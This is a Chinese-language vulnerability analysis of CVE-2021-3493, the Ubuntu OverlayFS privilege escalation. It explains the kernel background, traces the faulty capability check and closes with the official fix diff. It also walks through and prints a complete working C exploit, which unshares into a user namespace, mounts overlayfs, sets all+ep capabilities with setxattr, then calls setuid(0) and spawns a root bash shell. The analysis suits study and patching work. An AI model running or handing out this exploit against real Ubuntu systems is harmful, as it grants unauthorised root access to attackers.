CVE-2021-3493 Ubuntu内核OverlayFS权限逃逸漏洞分析

 

前置知识

Overlay文件系统

Overlayfs是一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如ext4fsxfs等等),并不直接参与磁盘空间结构的划分,仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。因此对于用户来说,它所见到的overlay文件系统根目录下的内容就来自挂载时所指定的不同目录的“合集”。如下图所示

其挂载文件的基本命令如下:

mount -t overlay overlay -o lowerdir=lower1:lower2:lower3,upperdir=upper,workdir=work merged。

其中lower1:lower2:lower3表示不同的lower层目录,不同的目录使用:分隔,层次关系依次为lower1 > lower2 > lower3

  • upper层是目录和文件系统挂载后用于存放临时和间接文件的工作基目录(work base dir)
  • merged目录就是最终的挂载点目录

正常执行以上命令后,overlayfs就成功挂载到merged目录下了。

Linux Namespace

User namespaceLinux 3.8新增的一种namespace,用于隔离安全相关的资源,包括user IDs and group IDs,keys, capabilities。一个用户可以在一个user namespace中是普通用户,但在另一个user namespace中是超级用户。

User namespace可以嵌套(目前内核控制最多32层),除了系统默认的user namespace外,所有的user namespace都有一个父user namespace,每个 user namespace都可以有零到多个子user namespace。当在一个进程中调用 unshare或者clone创建新的user namespace时,当前进程原来所在的 user namespace为父user namespace,新的user namespace 为子 user namespace

Capabilitiy提权

Capabilities机制是在Linux 2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

每个进程都有五个·capability集合:Permitted,Inheritable,Effective,Ambient,Bounding。文件的capability保存在文件的扩展属性security.capability中。文件有三个capabilitiy集合:Permitted,Inheritable,Effective。文件的capability和进程的capability一起来决定在执行execve后,进程的capability

在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。比如ping程序需要打开套接字,但是需要root权限才能打开套接字,此时就可通过设置capabilities来让普通用户使用ping

如果一个程序具有较高的capabilities且存在漏洞,那么攻击者就可以利用这个程序进行提权。

 

漏洞分析

实验环境:Linux ubuntu 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

5.8版本内核主线代码,ovl_fs_type结构体定义如下

//https://github.com/torvalds/linux/blob/bcf876870b95592b52519ed4aafcf9d95999bc9c/fs/overlayfs/super.c#L1947
static struct file_system_type ovl_fs_type = {
    .owner        = THIS_MODULE,
    .name        = "overlay",
    .mount        = ovl_mount,
    .kill_sb    = kill_anon_super,
};
MODULE_ALIAS_FS("overlay");

Ubuntu 20.04对该结构体进行了修改,添加了fs_flags数据域,并设置为FS_USERNS_MOUNT,表示将允许一个普通用户在低权限用户命名空间中mount一个overlayfs文件系统

#https://launchpadlibrarian.net/528725861/linux_5.8.0-48.54.diff.gz
@@ -1949,6 +1964,7 @@
     .name        = "overlay",
     .mount        = ovl_mount,
     .kill_sb    = kill_anon_super,
+    .fs_flags    = FS_USERNS_MOUNT,
 };
 MODULE_ALIAS_FS("overlay");

mount时会进入mount_capable函数,此时fs->flags = FS_USERNS_MOUNT进入ns_capable

bool mount_capable(struct fs_context *fc)
{
    if (!(fc->fs_type->fs_flags & FS_USERNS_MOUNT))
        return capable(CAP_SYS_ADMIN);
    else
        return ns_capable(fc->user_ns, CAP_SYS_ADMIN);
}

调用链如下

进入ns_capable_common

static bool ns_capable_common(struct user_namespace *ns,
                  int cap,
                  unsigned int opts)
{
...

    capable = security_capable(current_cred(), ns, cap, opts);
    if (capable == 0) {
        current->flags |= PF_SUPERPRIV;//这里设置了current->flags为PF_SUPERPRIV,即在当前进程上设置超级权限,并返回ture。所以通过挂载overlay文件系统,当前进程具备了超级权限。
        return true;
    }
    return false;
}

当对setxattr()文件扩展属性的capabilitiy进行设置时,权限校验不彻底,进入cap_convert_nscap()函数时,

int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
...
    if (size == XATTR_CAPS_SZ_2)
        if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
            /* user is privileged, just write the v2 */
            return size;
}

如果是capabilitiy版本2,则直接调用ns_capable()进行检验,根据注释可知,如果user有超级权限,则直接写入并返回。

因为当前访问的inode属于overlay文件系统。从cap_convert_nscap()函数正确返回后,随即进入vfs_setxattr()函数,接下来分发到overlay文件系统对应的ovl_xattr_set()函数中

int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
          const void *value, size_t size, int flags)
{
    int err;
    struct dentry *upperdentry = ovl_i_dentry_upper(inode);
    struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
    const struct cred *old_cred;

    ...
}

其中的upperdentryrealdentry就是./eki_ovlcap/upper目录下的magic的目录项

也就是说在给overlay文件系统中的./eki_ovlcap/merge/magic设置capabilitiy时就是对ext3文件系统下的./eki_ovlcap/upper/magic进行设置capabilitiy从而实现了权限逃逸

 

漏洞演示

下面具体来看Exp的分析

首先fork子进程在子进程中调用exploit

int main(int argc, char *argv[])
{
    pid_t child = fork();
    if (child == -1)
        err(1, "fork");
    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }
    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

下面分析exploit函数,首先是建立相关文件夹

#define DIR_BASE    "./eki_ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
static int exploit()
{
    mkdir(DIR_BASE, 0777);
    mkdir(DIR_WORK,  0777);
    mkdir(DIR_LOWER, 0777);
    mkdir(DIR_UPPER, 0777);
    mkdir(DIR_MERGE, 0777);

    return 0;
}

因为overlayfs mount需要CAP_SYS_MOUNT,通过unshare函数创建新的user namespace 使用flag为CLONE_NEWNS | CLONE_NEWUSER

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

然后获取uidgid,并修改相应文件进行映射

    writefile("/proc/self/setgroups", "deny");
    uid_t uid = getuid();
    gid_t gid = getgid();

    sprintf(buf, "0 %d 1", uid);
    writefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    writefile("/proc/self/gid_map", buf);

这步是必须的,如下所示

$ id
uid=1000(eki) gid=1001(eki) groups=1001(eki)
$ unshare --user /bin/bash
nobody@EDI:/root$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

在新的user namespace中,当前用户变成了nobody
我们还需要映射父user namespaceuser IDgroup ID到子user namespace中来,这一步是必须的,因为这样系统才能控制一个user namespace里的用户在其他user namespace中的权限。

映射ID的方法就是添加映射信息到/proc/PID/uid_map/proc/PID/gid_map(这里的 PID 是新 user namespace 中的进程 ID,刚开始时这两个文件都是空的)文件中。

文件配置信息的格式如下:

ID-inside-ns ID-outside-ns length

在这里就是

    sprintf(buf, "0 %d 1", uid);
    writefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    writefile("/proc/self/gid_map", buf);

其中writefile函数就是向对应file中写入第二个参数中的字符串,实现后面完整代码

然后挂载overlay文件系统,根据之前的分析,在Ubuntu中用户是有权限挂载的

#define BIN_MERGE   DIR_MERGE "/magic"
    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    copyfile("/proc/self/exe", BIN_MERGE, 0777);

其中copyfile函数就是将文件复制到第二个参数中,并赋予第三个参数的权限,实现见后面的完整代码

这里是将/proc/self/exe复制到BIN_MERGE也就是./eki_ovlcap/merge/magic

接着构造一个capabilities

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

cap

\x01\x00\x00\x02 #对应megic_etc
\xff\xff\xff\xff #对应permiited
\x00\x00\x00\x00 #对应inheritable
\xff\xff\xff\xff
\x00\x00\x00\x00

效果如下

权限逃逸关键在于setxattr

    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

根据前文漏洞原理介绍,执行完此函数后,属于ext3文件系统的./eki_ovlcap/upper/magic文件的capabilitiyall+ep,这个程序就是我们之前copyfile过去的程序。

#define BIN_UPPER   DIR_UPPER "/magic"

    pid_t child = fork();
    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0); //父进程等待子进程执行exploit完成
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);//执行具有权限的BIN_UPPER 也即
    err(1, "execl %s", BIN_UPPER);

此时具有权限的./eki_ovlcap/upper/magic进入如下判断语句块,通过setuid(0);setgid(0);提升权限并执行/bin/bash获取shell

    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

完整Exp如下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./eki_ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"

static void writefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void copyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    mkdir(DIR_BASE, 0777);
    mkdir(DIR_WORK,  0777);
    mkdir(DIR_LOWER, 0777);
    mkdir(DIR_UPPER, 0777);
    mkdir(DIR_MERGE, 0777);



    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    writefile("/proc/self/setgroups", "deny");

    uid_t uid = getuid();
    gid_t gid = getgid();

    sprintf(buf, "0 %d 1", uid);
    writefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    writefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    copyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

演示效果如下图

官方给出的修复方法是

diff --git a/fs/xattr.c b/fs/xattr.c
index cd7a563e8bcd4..fd57153b1f617 100644
--- a/fs/xattr.c
+++ b/fs/xattr.c
@@ -276,8 +276,16 @@ vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
 {
     struct inode *inode = dentry->d_inode;
     struct inode *delegated_inode = NULL;
+    const void  *orig_value = value;
     int error;

+    if (size && strcmp(name, XATTR_NAME_CAPS) == 0) {
+        error = cap_convert_nscap(dentry, &value, size);
+        if (error < 0)
+            return error;
+        size = error;
+    }
+
 retry_deleg:
     inode_lock(inode);
     error = __vfs_setxattr_locked(dentry, name, value, size, flags,
@@ -289,6 +297,9 @@ retry_deleg:
         if (!error)
             goto retry_deleg;
     }
+    if (value != orig_value)
+        kfree(value);
+
     return error;
 }
 EXPORT_SYMBOL_GPL(vfs_setxattr);
@@ -537,12 +548,6 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value,
         if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
             (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
             posix_acl_fix_xattr_from_user(kvalue, size);
-        else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
-            error = cap_convert_nscap(d, &kvalue, size);
-            if (error < 0)
-                goto out;
-            size = error;
-        }
     }

     error = vfs_setxattr(d, kname, kvalue, size, flags);

每次进入vfs_setxattr()函数时,都通过cap_convert_nscap()进行权限校验,判断capabilitiy和命名空间的权限是否匹配,防止权限逃逸

 

参考资料

这是本人第一次分析Linux内核相关代码,如果在文中发现有什么问题,欢迎大家斧正

(完)